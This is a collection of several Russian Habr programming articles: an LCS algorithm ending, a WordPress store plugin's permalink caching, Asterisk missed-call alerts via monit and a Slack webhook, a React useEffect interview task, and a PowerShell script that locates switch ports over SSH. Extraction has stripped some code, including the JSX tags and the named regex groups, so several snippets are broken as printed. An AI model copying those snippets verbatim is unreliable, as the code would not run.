LINK_s2 = list(itertools.repeat(None, min_length+1))
THRESH[0], t = -1, 0
for x_index,x_elem in enumerate(x):
y_indexes = y_matchlist.get(x_elem, [])
for y_index in reversed(y_indexes):
k_start = bisect.bisect_left(THRESH, y_index, 1, t)
k_end = bisect.bisect_right(THRESH, y_index, k_start, t)
for k in xrange(k_start, k_end+2):
if THRESH[k-1] < y_index and y_index < THRESH[k]:
THRESH[k] = y_index
LINK_x[k] = (x_index, LINK_x[k-1])
if k > t:
t = k
```
После этого нам остается только собрать из LINK\_x саму последовательность.
Время работы этого алгоритма равно O((r + n) log n), где n — длина большей последовательности, а r — количество совпадений, в худшем случае при r = n\*n, мы получаем время работы хуже чем в предыдущем варианте решения. Требования по памяти остаются порядка O(r+n).
#### Итого
Алгоритмов решающих данную проблему довольно много, асимптотически, самый эффективный алгоритм (Masek and Paterson) имеет оценку по времени O(n\*n/log n). Учитывая общую небольшую эффективность при вычислениях LCS, на практике перед работой алгоритма выполняются простейшие подготовки, вроде отбрасывания одинаковых элементов в начале и в конце последовательностей и поиск тривиальных отличий между последовательностями. Также, существуют некоторые оптимизации с использованием битовых операций, не влияющие на асимптотику времени работы.
[скачать весь код с примерами](http://clck.ru/1-pej) | https://habr.com/ru/post/142825/ | null | ru | null |
# Свежий плагин интернет-магазина на WordPress
Некоторое время назад мне понадобилось сделать интернет-магазин на WordPress. В официальном репозитории есть немало хороших решений. Среди них уже давно выделился лидер — Woocommerce. Думаю он не нуждается в представлении. Многомилионная армия пользователей, сотни платных и бесплатных расширений и невероятная гибкость. Вот почему Woocommerce имеет более 5 миллионов активных установок и охватывает крупную долю интернет-магазинов во всём мире.
Всё же я решил изобрести свой велосипед. Отчасти, чтобы прокачать навыки, отчасти, чтобы попробовать сделать не требовательный к ресурсам и достаточно быстрый ecommerce плагин. Недавно я разместил его [в официальный репозиторий](https://ru.wordpress.org/plugins/wp-store-lite/), поэтому, приглашаю всех желающих его потестировать. В этой статье я не буду делать обзор возможностей, а расскажу лишь о некоторых интересных технических решениях.
Проблема постоянных ссылок
--------------------------
Вообще, пермалинки в WordPress — один из самых сложных участков, так как требует решения ряда проблем связей и зависимостей. В wpStore встроена возможность управления постоянными ссылками. Например, вы можете удалить слаг `product` из урл товара, изменить на свой или добавить в него слаг категории или даже вложенность категорий. Ссылки на товары могут выглядеть так: `вашсайт.рф/родительская-категория/дочерняя-категория-второго-уровня/дочерняя-категория-третьего-уровня/имя-товара/`. Неплохо.
Особо попотеть пришлось, чтобы добиться вложенности категорий. Используя функцию `wp_get_object_terms,` получаем категории указанного товара, а затем в цикле собираем слаги и формируем урл по иерархии от родительской к дочерней. Чтобы выводить нужные ссылки используем фильтр post\_link. Вот лишь часть кода (полный код вы сможете посмотреть в исходниках):
```
add_filter( 'post_link', 'wpsl_post_type_permalink', 20, 3 );
add_filter( 'post_type_link', 'wpsl_post_type_permalink', 20, 3 );
function wpsl_post_type_permalink( $permalink, $post_id, $leavename ) {
....
/**
* Works only in the admin panel when changing the structure of permanent links or creating/updating the product
* In the frontend to display links to products using $post->guid
* Relevant if the structure of permalinks are used %category% or %categories%
*/
if ( is_admin() ) {
// get all terms (product categories) of this post (product) by hierarchicaly
// change %category%
if ( strpos( get_option( 'product_permalink' ), '%category%' ) !== false && $terms = wpsl_get_terms_hierarchicaly( $post->ID, 'product_cat' ) ) {
$custom_slug = str_replace( '%category%', isset( $terms[0] ) && is_object( $terms[0] ) ? $terms[0]->slug : '', $custom_slug );
}
// change %categories%
if ( strpos( get_option( 'product_permalink' ), '%categories%' ) !== false && $terms = wpsl_get_terms_hierarchicaly( $post->ID, 'product_cat' ) ) {
foreach( $terms as $term ) {
$hierarchical_slugs[] = $term->slug;
}
$custom_slug = str_replace( '%categories%', implode( '/', $hierarchical_slugs ), $custom_slug );
} else {
$custom_slug = str_replace( '%categories%', 'product', $custom_slug );
}
}
....
return $permalink;
}
```
Но на этом этапе появилась проблема производительности. Сайт стал работать медленнее, особенно на странице вывода нескольких товаров. Например, на странице категории с выводом всего лишь 16 товаров производилось почти 90 запросов в базу данных и резко увеличивалось время ответа сервера примерно на 25-30%.
Оказалось, что при вызове функции **the\_permalink** WordPress производит множество операций: получает тип ЧПУ и собирает данные записи в зависимости от этого типа. Чтобы вывести 1 ссылку WordPress производит несколько некешируемых запросов в базу. При этом процесс получения таксономий и иерархий товара не самый быстрый.
Так как постоянная генерация ссылки нам не подходит, логично её где-нибудь хранить и затем просто подтягивать оттуда. Было решено использовать специальное поле `guid` таблицы `wp_posts`. Хотя разработчики WP не рекомендуют его менять, всё же мы можем игнорировать это предупреждение по нескольким причинам:
* guid используется для формирования RSS, а его мало кто использует.
* в RSS выводятся только записи, а у нас тип поста — product.
Чтобы в базу ссылки правильно сохранялись повесим на событие `save_post` функцию, которое обновляет поле guid:
```
add_action( 'save_post', 'wpsl_guid_rewrite', 100 );
function wpsl_guid_rewrite( $id ) {
if( !is_admin() ) return;
if( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return false;
if ( strpos( get_option( 'product_permalink' ), '%category%' ) !== false || strpos( get_option( 'product_permalink' ), '%categories%' ) !== false ) {
if( $id && get_post_type( (int)$id ) == 'product' ){
global $wpdb;
$wpdb->update( $wpdb->posts, [ 'guid' => ( get_permalink( $id ) ) ], [ 'ID' => intval( $id ) ] );
}
clean_post_cache( $id );
}
}
```
Нам остаётся перехватить вывод ссылки на хуке `post_type_link` и вывести сгенерированную ссылку:
```
add_filter( 'post_type_link', 'wpsl_get_permalink_change', 10, 4 );
function wpsl_get_permalink_change( $post_link, $post, $leavename, $sample ){
if ( isset( $post->guid ) && $post->guid && $post->post_type == 'product' && ( strpos( get_option( 'product_permalink' ), '%category%' ) !== false || strpos( get_option( 'product_permalink' ), '%categories%' ) !== false ) ) {
return $post->guid;
}
return $post_link;
}
```
Здесь мы проверяем заполненность поля guid, тип поста и тип ЧПУ. Если значения трёх параметров нас устраивают, выводим заранее сохранённую ссылку.
Теперь, самое приятное: посмотреть на результаты. Количество запросов в базу снизилось почти в 2 раза — с почти 90 до 44! А время ответа сервера на тестовом хостинге опустилось до приемлемых 0.24 секунды.
Обновление поля guid происходит не только во время создания и редактирования товара. В плагин встроена система импорта товаров через csv, поэтому обновление происходит также и при завершении импорта.
Update: [документация по плагину](https://codyshop.ru/projects/wpstore/) | https://habr.com/ru/post/467937/ | null | ru | null |
# Asterisk и отправка пропущенных в Telegram/Slack/E-mail
Есть колл-центр. Есть Asterisk/FreePBX с настроенными очередями. Есть агенты, которые должны обслуживать вызовы. Но потенциальных клиентов так много, а агентов так мало, что первые никак не могут дозвониться до вторых — повисят-повисят в очереди минуту, да и отключаются.
Но зачем-то они же звонили! Может, они хотят денег занести в компанию? Попробуем вернуть и клиентов и их деньги на примере FreePBX.
В настройках очереди можно указать Fail Over Destination — то, куда направлять вызов, когда очередь переполнена, истекло время ожидания и т.п. Но зачастую бывает так, что звонивший отключается раньше, чем его успевает перенаправить в Fail Over Destination — мало ли, связь оборвалась. Готового решения для таких случаев нет. Поэтому идём под кат и пишем своё — с отправкой оповещения в Telegram/Slack/E-mail/куда-то там еще.
И первое, что нам надо понять — как FreePBX пишет логи очередей. В самом простом случае это текстовый файл /var/log/asterisk/queue\_log.
Так в лог пишется обычный звонок от абонента 8964467ХХХХ, позвонившего по номеру 302221ХХХХ, попавшего в очередь №603 на первую позицию, которому через 8 секунд ответил Agent Girl. Они проговорили 133 секунды и первым трубку положил абонент — всем бы таких вежливых менеджеров!
```
1584318765|1584318747.89449|603|NONE|DID|302221ХХХХ
1584318765|1584318747.89449|603|NONE|ENTERQUEUE||8964467ХХХХ|1
1584318774|1584318747.89449|603|Agent Girl|CONNECT|9|1584318765.89450|8
1584318907|1584318747.89449|603|Agent Girl|COMPLETECALLER|9|133|1
```
А вот немного другая история, когда абонент 8996453ХХХХ дозвонился по номеру 302257ХХХХ, повисел 10 секунд в очереди №210 в первой позиции и отключился. Даже голосовое меню не дослушал!
```
1581728710|1581728690.59367|210|NONE|DID|302257ХХХХ
1581728710|1581728690.59367|210|NONE|ENTERQUEUE||8996453ХХХХ|1
1581728720|1581728690.59367|210|NONE|ABANDON|1|1|10
```
Вот про него-то мы и напишем в мессенджер.
Для этого нам надо отловить появление события ABANDON в файле лога. Я долго ломал себе голову как это можно сделать, но потом совершенно случайно наткнулся на прекрасный инструмент — [MONIT](https://mmonit.com/monit/). В нашем случае он будет следить за логом очередей, и как только в нём появится строка «ABANDON» будет вызывать скрипт обработки данного события.
Для этого после установки пакета:
```
yum install monit
```
Настроим его — создадим файл /etc/monit.d/queue\_log и запишем в него буквально три строчки:
```
check file queue_log with path /var/log/asterisk/queue_log
if content = "ABANDON" then
exec "/var/lib/asterisk/agi-bin/qlogevent.sh $EVENT"
```
Таким образом, при появлении слова «ABANDON» в логе очередей, что говорит нам о преждевременном отключении абонента, будет вызван скрипт /var/lib/asterisk/agi-bin/qlogevent.sh с параметром $EVENT, что есть ничто иное, как полностью строка, в которой это слово появилось.
Это просто.
А теперь начинаются не шахматы — тут думать надо.
В строке, переданной в скрипт, отсутствует информация о номере звонившего:
```
1581728720|1581728690.59367|210|NONE|ABANDON|1|1|10
```
В ней есть только Timestamp (1581728720), уникальный ID звонка (1581728690.59367), номер очереди (210), само событие и еще несколько несущественных параметров. Т.е. искать номер абонента придется нам самим. А каким же образом? А очень просто, ведь UID звонка у нас есть!
Обратимся опять к логу данного звонка, конкретно — к строке, в которой абонент попадает в очередь:
```
1581728710|1581728690.59367|210|NONE|ENTERQUEUE||8996453ХХХХ|1
```
При возникновении события «ENTERQUEUE» один из параметров — необходимый нам номер абонента. Нам остается только отыскать данную строку в файле queue\_log. Этим как раз занимается скрипт на bash, который MONIT нам заботливо вызвал:
```
#!/bin/bash
#MONIT_DESCRITION - строка, которая передана как параметр в скрипт.
#Преобразуем timestamp в человеческое представление даты-времени (параметр №1).
timedate=$(echo $MONIT_DESCRIPTION | cut -d\| -f1 | cut -d\: -f2 | gawk '{print strftime("%d.%m.%Y %H:%M:%S",$0);}')
#Получаем UID (параметр №2)
call_id=$(echo $MONIT_DESCRIPTION | cut -d\| -f2)
#и номер очереди (параметр №3)
qnum=$(echo $MONIT_DESCRIPTION | cut -d\| -f3)
#По номеру очереди присваиваем ей человеческое имя
case $qnum in
210)
qname="Очередь 1"
;;
220)
qname="Очередь 2"
;;
esac
#И ищем в логе строку с UID, номером очереди и событием ENTERQUEUE
str=$(grep "|$call_id|$qnum|.*|ENTERQUEUE" /var/log/asterisk/queue_log)
#Получаем из неё номер позвонившего абонента (параметр №7)
caller_id=$(echo $str | cut -d\| -f7)
#Время его попадания в очередь (паоаметр №1)
time_enter=$(echo $str | cut -d\| -f1)
#И время пропадания из очедери (параметр №1 из события ABANDON)
time_abandon=$(echo $MONIT_DESCRIPTION | cut -d\| -f1 | cut -d\: -f2)
#Формируем сообщение
data="Абонент $caller_id $timedate позвонил в $qname, не дождался ответа и отбился через $(($time_abandon-$time_enter)) сек."
#И отправляем его в мессенджер/почту. В данном случае это Slack.
/usr/bin/curl -X POST -H 'Content-type: application/json' --data '{"text":"'"$data"'"}' "https://hooks.slack.com/services/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
```
Собственно, и всё!
Правда, есть один казус — MONIT, предназначенный для мониторинга всего и вся, сам нуждается в мониторинге, т.к. периодически падает. | https://habr.com/ru/post/492728/ | null | ru | null |
# Одна задача с собеса
Год назад моя компания впервые попросила меня провести собеседование для фронтендера. Тогда я и придумал эту задачу на свою злобу дня. Задачка простая, на базовые знания, но, как оказалось, в ней можно сделать много интересных ошибок. Также в ней оказались неочевидные детали, которые могли бы оказаться интересны и опытным разработчикам. Я решил достаточно подробно разобрать задачу в этом посте в педагогических целях. Данный пост нацелен в первую очередь на начинающих реакт разработчиков.
Формулировка
------------
Есть реализация компонента, от которого требуется 2 вещи:
1) выводить текущее значение вертикального скролла окна (window.scrollY)
2) после монтирования асинхронно получить число и вывести его
Нужно найти, объяснить и исправить как можно больше проблем в реализации
```
import React, { useState, useEffect } from 'react';
// имитация запроса к серверу. просто получаем число асинхронно
const fetchRandomNumber = () => Promise.resolve(Math.random());
const NumberAndScroll = () => {
const [number, setNumber] = useState();
const [scroll, setScroll] = useState();
useEffect(async () => {
setNumber(await fetchRandomNumber());
window.addEventListener('scroll', () => setScroll(window.scrollY));
return () => window.removeEventListener('scroll', () => setScroll(window.scrollY));
});
return (
Number: { number }
Scroll: { scroll }
)
}
```
Настоятельно рекомендую самостоятельно исправить всё что найдёте, прежде чем читать дальше.
Большие проблемы
----------------
Первое, что все правильно замечают - отсутствие второго аргумента у `useEffect`. Там должен быть пустой массив зависимостей, потому что *число* нам нужно получить с *"сервера"* только 1 раз при монтировании. Да и неоднократно переподписываться на событие скролла не имеет смысла.
```
import React, { useState, useEffect } from 'react';
const fetchRandomNumber = () => Promise.resolve(Math.random());
const NumberAndScroll = () => {
const [number, setNumber] = useState();
const [scroll, setScroll] = useState();
useEffect(async () => {
setNumber(await fetchRandomNumber());
window.addEventListener('scroll', () => setScroll(window.scrollY));
return () => window.removeEventListener('scroll', () => setScroll(window.scrollY));
}, []); // добавили вторым аргументом массив зависимостей
return (
Number: { number }
Scroll: { scroll }
)
}
```
Частой ошибкой бывает передача такого массива зависимостей: `[scroll]`. Если вы тоже совершили эту ошибку, то вернитесь к коду и убедитесь, что нам не нужно текущее значение скролла, чтобы обновлять его.
Второе, на что обычно обращают внимание, это ключевое слово `async` у колбека. Многие имели свой личный опыт писать так и знают, что так делать нельзя. Но почему? Этот вопрос ставит некоторых в тупик. Согласно документации реакта, колбек должен либо ничего не возвращать (читай возвращать `undefined`) либо возвращать функцию очистки. То есть только 2 валидных значения есть для возврата: undefined и функция. Но вы же знали, что функции объявленные `async` всегда возвращают промис? То есть в текущей реализации колбек возвращает не функцию очистки, а промис этой функции. Нужно убрать ключевое слово `async` и переделать колбек, чтобы работало. С этим тоже бывали проблемы у новичков. Самое простое - написать через промис:
```
import React, { useState, useEffect } from 'react';
const fetchRandomNumber = () => Promise.resolve(Math.random());
const NumberAndScroll = () => {
const [number, setNumber] = useState();
const [scroll, setScroll] = useState();
// убрали async
useEffect(() => {
// переписали через промис
fetchRandomNumber().then(setNumber);
window.addEventListener('scroll', () => setScroll(window.scrollY));
return () => window.removeEventListener('scroll', () => setScroll(window.scrollY));
}, []);
return (
Number: { number }
Scroll: { scroll }
)
}
```
Если вы написали `fetchRandomNumber().then(num => setNumber(num))`, то уделите минуту, чтобы осознать, что `fetchRandomNumber().then(setNumber)` делает то же самое, только короче и оптимальнее.
Последняя грубая ошибка в том, что очистка листенера всё равно не происходит. Я попытаюсь привести свою аналогию для объяснения ошибки. Допустим вы купили новый телефон. Вы ставите будильник на нём на 5 утра, чтобы встать для пробежки по набережной. А потом вы поняли, что бег это дичь и передумали. Но вместо того, чтобы выключить будильник на своём новом телефоне, вы идёте снова в магазин, покупаете ещё один телефон той же самой модели, открываете в нём будильники и выключаете все на 5 утра (впрочем там и выключать нечего). Оба телефона абсолютно идентичны и видимых различий практически нет, но это всё же разные телефоны. В реализованном коде написана примерно такая же бессмыслица. Каждый раз, когда мы пишем выражение `() => setScroll(window.scrollY)`, мы создаём новую функцию. Часто это проблема решалась несколько странно:
```
import React, { useState, useEffect } from 'react';
const fetchRandomNumber = () => Promise.resolve(Math.random());
const NumberAndScroll = () => {
const [number, setNumber] = useState();
const [scroll, setScroll] = useState();
// вынесли создание функции сюда
const handleScroll = () => setScroll(window.scrollY);
useEffect(() => {
fetchRandomNumber().then(setNumber);
window.addEventListener('scroll', handleScroll);
return () => window.removeEventListener('scroll', handleScroll);
}, []);
return (
Number: { number }
Scroll: { scroll }
)
}
```
Это работает, но проблема тут в том, что `handleScroll` создаётся на каждый рендер компонента, а используется только в колбеке `useEffect`'а. То есть только при первом рендере. То есть выполняется лишняя работа и код более разбросан. Правильней так:
```
import React, { useState, useEffect } from 'react';
const fetchRandomNumber = () => Promise.resolve(Math.random());
const NumberAndScroll = () => {
const [number, setNumber] = useState();
const [scroll, setScroll] = useState();
useEffect(() => {
fetchRandomNumber().then(setNumber);
// перенес создание в useEffect
const handleScroll = () => setScroll(window.scrollY);
window.addEventListener('scroll', handleScroll);
return () => window.removeEventListener('scroll', handleScroll);
}, []);
return (
Number: { number }
Scroll: { scroll }
)}
```
Менее важные проблемы
---------------------
Ещё один момент, на который я прошу обратить внимание кандидатов - начальные значения состояний. Новички часто пишут так:
```
const [number, setNumber] = useState(0);
const [scroll, setScroll] = useState(0);
```
Есть люди, которым кажется, что начальное значение всегда обязательно должно быть задано. И если это число, то наверняка `0`. Но в этой задаче мы не можем дать переменной `number` адекватного начального значения и лучше оставить его `undefined`. Для переменной `scroll` начальное значение `0` неверно, потому что наш компонент может появиться когда страничка браузера уже прокручена вниз. Ожидаемый код такой:
```
import React, { useState, useEffect } from 'react';
const fetchRandomNumber = () => Promise.resolve(Math.random());
const NumberAndScroll = () => {
const [number, setNumber] = useState();
// добавил начальное значение
const [scroll, setScroll] = useState(window.scrollY);
useEffect(() => {
fetchRandomNumber().then(setNumber);
const handleScroll = () => setScroll(window.scrollY);
window.addEventListener('scroll', handleScroll);
return () => window.removeEventListener('scroll', handleScroll);
}, []);
return (
Number: { number }
Scroll: { scroll }
)
}
```
Вот уже более или менее приличный код вышел. На этом этапе я обычно перехожу к следующей задаче в собеседовании. Но если кандидат бодро справляется, я предлагаю попробовать ещё как-то улучшить код.
Плюсом идёт кандидату, если он знает что такое [тротлинг](https://lodash.com/docs/#throttle) и правильно его применяет. Например так:
```
import React, { useState, useEffect } from 'react';
import throttle from 'lodash/throttle';
const fetchRandomNumber = () => Promise.resolve(Math.random());
const NumberAndScroll = () => {
const [number, setNumber] = useState();
const [scroll, setScroll] = useState(window.scrollY);
useEffect(() => {
fetchRandomNumber().then(setNumber);
// обернули в throttle
const handleScroll = throttle(() => setScroll(window.scrollY), 37);
window.addEventListener('scroll', handleScroll);
return () => window.removeEventListener('scroll', handleScroll);
}, []);
return (
Number: { number }
Scroll: { scroll }
)
}
```
Ещё одна из вещей, которые я бы хотел увидеть - применение `Принципа единственной ответственности` к useEffect. Сейчас один useEffect отвечает и за логику асинхронного получения числа и за логику скролла. Результат может выглядеть так:
```
import React, { useState, useEffect } from 'react';
import throttle from 'lodash/throttle';
const fetchRandomNumber = () => Promise.resolve(Math.random());
const NumberAndScroll = () => {
const [number, setNumber] = useState();
const [scroll, setScroll] = useState(window.scrollY);
// отдельно логика получения числа
useEffect(() => {
fetchRandomNumber().then(setNumber);
}, []);
// отдельно логика скролла
useEffect(() => {
const handleScroll = throttle(() => setScroll(window.scrollY), 37);
window.addEventListener('scroll', handleScroll);
return () => window.removeEventListener('scroll', handleScroll);
}, []);
return (
Number: { number }
Scroll: { scroll }
)
}
```
Такой код будет работать незаметно медленней, но его будет значительно проще читать и изменять некоторое время спустя. К тому же после этого шага уже лучше видно кастомный хук который можно вынести для тех же целей:
```
import React, { useState, useEffect } from 'react';
import throttle from 'lodash/throttle';
const fetchRandomNumber = () => Promise.resolve(Math.random());
// вынесли работу со скроллом в кастомный хук
const useWindowScrollY = () => {
const [scroll, setScroll] = useState(window.scrollY);
useEffect(() => {
const handleScroll = throttle(() => setScroll(window.scrollY), 37);
window.addEventListener('scroll', handleScroll);
return () => window.removeEventListener('scroll', handleScroll);
}, []);
return scroll;
}
const NumberAndScroll = () => {
const [number, setNumber] = useState();
const scroll = useWindowScrollY();
// логику получения числа, возможно, тоже стоило вынести
// в отдельный кастомный хук
useEffect(() => {
fetchRandomNumber().then(setNumber);
}, []);
return (
Number: { number }
Scroll: { scroll }
)
}
```
Неочевидное
-----------
Есть в JS такая нечасто применяемая в повседневной работе штука как [дескрипторы](https://learn.javascript.ru/property-descriptors). Можно сделать так, что когда мы достаём из объекта свойство, будет вызвана геттер функция и возвращён результат этого вызова. Функция `Object.getOwnPropertyDescriptor` может показать нам, является ли свойство объекта обычным или хитро определено дескрипторами. И так, если вы в консоли запустите `Object.getOwnPropertyDescriptor(window, 'scrollY');`, то увидите, что у свойства `scrollY` заданы гетер и сетер. То есть когда мы пишем `window.scrollY`, мы добавляем в [стек вызовов](https://bool.dev/blog/detail/obyasnenie-event-loop-v-javascript-s-pomoshchyu-vizualizatsii) эту гетер функцию. То есть если мы напишем `useState(() => window.scrollY)`, то на каждый рендер в стек вызовов будет на одну функцию меньше идти (если передать в `useState` функцию, то она вызовется только во время первого рендера и начальным значением будет результат этого вызова). Оптимизация! На самом деле такая оптимизация никакой практической пользы не даёт. Даже экономией на спичках не хочется её называть. Но важно тут, как мне кажется, осознание этих процессов, сознательное написание каждой строчки кода. Окончательный вариант кода будет выглядеть примерно так:
```
import React, { useState, useEffect } from 'react';
import throttle from 'lodash/throttle';
const fetchRandomNumber = () => Promise.resolve(Math.random());
// получение window.scrollY вынесли в функцию
const getWindowScrollY = () => window.scrollY;
const useWindowScrollY = () => {
const [scroll, setScroll] = useState(getWindowScrollY);
useEffect(() => {
const handleScroll = throttle(() => setScroll(window.scrollY), 37);
window.addEventListener('scroll', handleScroll);
return () => window.removeEventListener('scroll', handleScroll);
}, []);
return scroll;
}
const NumberAndScroll = () => {
const [number, setNumber] = useState();
const scroll = useWindowScrollY();
useEffect(() => {
fetchRandomNumber().then(setNumber);
}, []);
return (
Number: { number }
Scroll: { scroll }
)
}
```
Бонус
-----
Тем, кто любит лишний раз пошевелить мозгами, предлагаю придумать как забенчмаркать последнюю "оптимизацию". Я сам никогда не занимался написанием таких синтетических тестов, но специально для полноты этого поста я задался такой целью и вот что вышло у меня: <https://codesandbox.io/s/descriptors-perfomance-test-g34e1?file=/src/usePerfomance.js>. 20000 рендеров компонента на моём ноутбуке выполняются за ~3500мс (для `useState(window.scrollY)`) и ~3300мс (для `useState(() => window.scrollY)`)
Заключение
----------
Спасибо всем, кто дочитал | https://habr.com/ru/post/584924/ | null | ru | null |
# Сквозь порты на оборудовании к пользовательским машинам
Доброе время суток, Хабражители.
Данный пост повествует Вам о том, как с помощью PowerShell мы опять смогли немного облегчить нам жизнь и автоматизировать поиск оборудования и портов, на которых сидят компьютеры пользователей. Это необходимо в тот момент, когда надо пробросить vlan`ы (ну или просто для информации).
"
##### Предыстория
Все началось около года назад. Однажды наш старший администратор предложил мне попробовать написать скрипт на данную тему. Почесав тыковку, я согласился попробовать. До этого я никогда не работал с сетевым оборудованием (ну домашний роутер не в счет), по этому он мне скинул примерную последовательность команд, с помощью которых все это можно было делать.
Используя Putty, я попробовал проделать все это вручную, все получилось и я начал думать как все это автоматизировать. Да не просто автоматизировать, а сделать это с помощью PowerShell. Почему именно PoSh? В то время я на него сильно запал (хотя я и сейчас с него не слезаю), можно было сделать это в чем-нибудь другом, но мне очень сильно хотелось сделать это через PoSh.
Так как подключаться к оборудованию требовалось через Telnet и SSH (в основном, через Telnet, так как на тот момент SSH был не везде, но об этом позже) я провел немало времени в интернете, что бы узнать как PowerShell может работать с этими протоколами.
Тогда я обратился к 2 механизмам подключения:
1. использование plink.exe (из Putty)
2. Netcmdlets фирмы /n software
Использовав преимущественно plink.exe у меня получилось нечто, что трудно было назвать произведением искусства. Это было огромный, нагроможденный скрипт, который совершенно никому не хотелось показывать. А уж тем более писать об этом статью тут.
И так как оно работало (периодически, я им даже пользовался), я отложил его оптимизацию в долгий ящик и занялся другими делами.
Прошло время, за это время многое изменилось, но про то свое детище я не забывал, периодически предпринимая попытки переписать его заново, и избавиться от кучи ненужных вещей. Наконец мне это удалось!
##### Vader, rise!
Самым важным из произошедшего было то, что обновили прошивки у коммутаторов, и теперь стало возможно подключаться к ним по SSH. Что же, отлично, значит забиваем на telnet.
За этим последовало еще 1 изменение: раз telnet больше не нужен, мы можем не использовать plink.exe (из Putty) и вся слава достается NetCmdlets.
Пообщавшись не мало с техподдержкой этой фирмы, наконец я разобрался в устройстве этих орудий труда, и начал работу.
Что мне было нужно:
1. Проверять правильность ввода IP адреса компьютера
2. Проверять наличие компьютера в сети
3. Подключаться к каждому оборудованию последовательно, начиная с самого главного, и выяснять на каких портах висит наше устройство
4. Показать все это пользователю, что бы он (т.е. я) остался доволен
###### NetCmdlets
Так как я хочу сказать спасибо людям, которые их сделали, небольшое отступление и пару слов об этих командлетах:
Почитать про них и скачать их можно [здесь](http://www.powershellinside.com/powershell/netcmdlets/). Скачать можно как триальную версию (на 30 дней) так и полную (за 100$ на один компьютер). Я пользовался триальной версией, т.к. после окончании срока ее можно просто переустановить.
Недавно на ресурсе [powershellmagazine.com](http://www.powershellmagazine.com/) раздавались эти командлеты бесплатно, я успел ухватить. Так что будьте на чеку! Но вернемся к нашим баранам.
Выбрав набор этих cmdletов, я приступил к их изучению. Этот набор достаточно большой, так что я не буду описывать все, что там есть. остановлюсь на 2:
* Сonnect-SSh
* Invoke-SSh
Можно обойтись только Invoke-SSh, но тогда у вас не будет постоянной сессии с устройством (т.е., скажем, выполнить команды в «conf t» на устройстве уже будет нельзя). По этому командлетом Сonnect-SSh мы создаем подключение к устройству, а командлетом Invoke-SSh выполняем команды. Все достаточно просто.
Важным моментом является то, что эти командлеты могут работать вместе с командлетом Get-Credential, в которую Вы можете записать учетные данные на подключение к оборудованию (примеры увидите в скрипте), т.е. учетные данные не хранятся в открытом виде в скрипте (как это у меня было с использованием plink.exe). Я не параноик, но перестраховаться люблю.
###### Парсинг вывода и регулярные выражения
Меня ожидал очень романтичный парсинг вывода оболочки Cisco iOS, т.к командлет Invoke-SSH показывает вывод в столбце Text, т.е. передав в переменную вывод, мы получаем большой текст.
Здесь нам приходят на помощь регулярные выражения. Но кто парсил большие тексты, знает, что достать нужный фрагмент оттуда довольно не просто, но, благодаря PowerShell, мы с блеском вышли из этой ситуации.
В данный момент читай PowerShell in Action 2-nd Edition. Тому, кто изучает PoSh, я настоятельно рекомендую эту книгу. И в ней я прочел о такой вещи, как named regexp. Суть в том, что при PowerShell содержит переменную $Mathces, в которую заносятся все совпадения при использовании регулярных выражений:
```
PS [13] > $Matches
PS [14] > $a="ass 123 saa"
PS [15] > $a -match "\d+"
True
PS [16] > $Matches
Name Value
---- -----
0 123
```
Но это еще не все! Вся плюшка в том, что если мы добавим ````
? в наше выражение, мы получим следующее:
PS [17] > $a -match "(?\d+)"
True
PS [18] > $Matches
Name Value
---- -----
Numbers 123
0 123
PS [19] > $Matches.Numbers
123
```
Таким образом мы можем обращаться напрямую к результатам совпадений и обойти парсинг такой замечательной вещью (ф топку split!). Не знаю как для вас, а для меня это было открытие (например, на русских ресурсах по PowerShell об этом ничего нет), при котором я был готов визжать как школьница.
Интересно, в других языках такое есть?
###### Сам скрипт
Собственно, сам скрипт.
```
## Функция вывода информации о конечном оборудовании
Function LastSwitch
{
"IP адрес свича: {0}, порт {1}" -f $IpSwitch,$Port
If ($CiscoPhone) {"Компьютер подключен через Cisco IP Phone"}
Read-Host "Press Enter for continue..."
break
}
##Проверяем правильность ввода
For (;;)
{
$ip=Read-host "Enter ip"
If ($ip -match "(\d{1,3}\.){3}\d{1,3}") {break}
else {Write-Warning "Invalid IP address! Try again..."}
}
##Проверяем на наличие компьютера в сети
if ((test-connection $ip -quiet) -ne "True")
{
Write-Warning "Компьютер не в сети!"
Read-Host "Press Enter to continue..."
break
}
$cred = get-credential Admin ##Учетная запись для подключения к устройствам
$IpSwitch = "10.138.30.1" ##Родоначальник наших коммутаторов
$MAC = $null
$CiscoPhone = $false
For (;;)
{
$conn = Connect-ssh -Server $IpSwitch -Credential $cred -ShellPrompt "#" -Force
Invoke-SSH -Connection $conn -Command "terminal length 0" | out-null
Invoke-SSH -Connection $conn -Command "ping $ip" | out-null
If (!$MAC)
{
## Получаем МАС адрес устройства
((Invoke-SSH -Connection $conn -Command "sh arp | i $ip ").text |
Where-Object {$_ -match "\w"}) -match "(?\w{4}\.\w{4}\.\w{4})" | out-null
$MAC = $Matches.MAC
}
## Находим порт, на котором висит оборудование
(((Invoke-SSH -Connection $conn -Command "sh mac address-table address $MAC").Text |
where-object {$\_ -match $mac}) |
Select-Object -First 1) -match "(?((\D{2}\d{1,3})/|Po)(\d{1,3})(/\d{1,3})?)" | out-null
$port = $Matches.Port
## Проверяем количество оборудования подключенного к порту
$portInfo = (Invoke-SSH -Connection $conn -Command "show mac address-table interface $port").Text |
where-object {$\_ -match $port}
If (($portInfo | measure).Count -eq 1) {LastSwitch}
## Информация о порте
$DetailPortInfo = (Invoke-SSH -Connection $conn -Command "sh cdp neighbors $port detail" -Force).Text
## Если в инфомрации о порту есть запись "Cisco IP phone", значит компьютер подключен чезез IP телефон.
If ($DetailPortInfo -match "Cisco IP phone") {$CiscoPhone = $true; LastSwitch}
(($DetailPortInfo | where-object {$\_ -match "IP address: (\d{1,3}\.){3}\d{1,3}"}) |
Select-Object -First 1) -match "(?(\d{1,3}\.){3}\d{1,3})" | out-null
"IP адрес свича: {0}, порт {1}" -f $IpSwitch,$Port
$IpSwitch = $Matches.IP
Disconnect-SSH $conn
}
```
Небольшие комментарии:
* Учетные данные мы получаем с помощью команды Get-Credential. Кому лень вводить каждый раз учетные данные, можно сделать автоматически, поместив зашифрованный пароль в текстовый файл. Подробнее об этом можно прочитать [тут](http://bsonposh.com/archives/338)
* На наших коммутаторах стоит ограничение на вывод информации за 1 раз (т.е. листать может с помощью пробела (аналогия из PowerShell: `get-help | more`)). Нас это не устраивает, т.к. Invoke-SSH не умеет листать, и в итоге мы будем получать ошибку. Для решения данной проблемы, мы отключаем это на время сессии с помощью команды `terminal length 0`
